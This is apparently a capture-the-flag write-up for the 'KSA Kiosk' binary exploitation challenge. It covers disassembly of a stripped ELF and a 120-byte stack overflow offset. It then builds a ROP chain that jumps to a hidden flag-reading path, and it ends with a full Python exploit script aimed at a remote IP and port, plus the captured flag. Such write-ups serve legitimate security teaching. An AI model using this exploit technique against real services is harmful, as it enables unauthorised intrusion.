KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_}Challenge: KSA Kiosk
Category: Pwn / Binary Exploitation
Objective: Exploit the binary to read the flag.
We started by analyzing the provided binary ksa_kiosk.
$ file ksa_kiosk
ksa_kiosk: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, ... stripped
Connecting to the remote service:
====================================================
Knight Squad Academy
Enrollment Kiosk (v2.1)
====================================================
1) Register cadet
2) Enrollment status
3) Exit
Using strings, we found interesting strings like ./flag.txt, [SECURITY] Authorization failed., and function artifacts like puts, gets (or similar input functions).
Disassembling with objdump, we identified the following key functions:
0x401514): Takes user input.0x401378): A seemingly normal status check function, but with a hidden path.In the Enrollment Status function (0x401378), there is a specific check at address 0x4013ac:
4013b7: 48 89 bd 68 ff ff ff mov %rdi,-0x98(%rbp)
4013be: 48 b8 ef be fe ca de movabs $0x1337c0decafebeef,%rax
4013c5: c0 37 13
4013c8: 48 39 85 68 ff ff ff cmp %rax,-0x98(%rbp)
4013cf: 74 2d je 4013fe <fopen@plt+0x32e>
It compares the first argument %rdi with the magic value 0x1337c0decafebeef. If they match, it jumps to a code block that opens and reads ./flag.txt.
In the Register Cadet function (0x401514), the program reads input into a buffer:
4015b9: 48 8d 45 90 lea -0x70(%rbp),%rax
4015bd: ba f0 00 00 00 mov $0xf0,%edx ; Length = 240 bytes
4015c2: ...
4015ca: e8 b1 fa ff ff call 401080 <read@plt>
rbp - 0x70 (112 bytes from base pointer).0xf0 (240 bytes).rbp + 0x8.The distance to the return address is 0x70 (buffer) + 0x08 (saved rbp) = 120 bytes.
Since we can write 240 bytes, we have a clear Stack Buffer Overflow to control the instruction pointer (RIP).
We can use a Return-Oriented Programming (ROP) chain to:
0x1337c0decafebeef into the %rdi register.Enrollment Status (specifically the check or the success path).We found a useful gadget in the binary:
pop rdi; ret at address 0x40150b.0x4013ac. By jumping here with the correct rdi, we trigger the flag print.| Segment | Size | Value | Description |
|---|---|---|---|
| Padding | 120 bytes | 'A' * 120 | Fill buffer and saved RBP |
| ROP 1 | 8 bytes | 0x40150b |
pop rdi; ret |
| ROP 2 | 8 bytes | 0x1337c0decafebeef |
Magic Value |
| ROP 3 | 8 bytes | 0x4013ac |
Address of hidden function |
import struct
import socket
import time
def p64(val):
return struct.pack("<Q", val)
HOST = '66.228.49.41'
PORT = 5000
# Constants
OFFSET = 120
POP_RDI = 0x40150b
MAGIC_VAL = 0x1337c0decafebeef
HIDDEN_FUNC = 0x4013ac
def solve():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# Receive banner and navigate to registration
s.recv(1024)
s.send(b"1\n")
time.sleep(0.5)
# Send dummy name
s.recv(1024)
s.send(b"Hacker\n")
time.sleep(0.5)
# Send Payload
# Padding + pop rdi + magic + hidden_function
payload = b"A" * OFFSET
payload += p64(POP_RDI)
payload += p64(MAGIC_VAL)
payload += p64(HIDDEN_FUNC)
s.recv(1024)
s.send(payload + b"\n")
# Read output
while True:
try:
data = s.recv(4096)
if not data: break
print(data.decode(errors='ignore'), end='')
except: break
s.close()
if __name__ == "__main__":
solve()
Running the exploit against the remote server:
[Enrollment] Entry received.
Welcome, Cadet AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
[Registry] Clearance badge issued:
Your Flag : KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_} ...
Flag: KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_}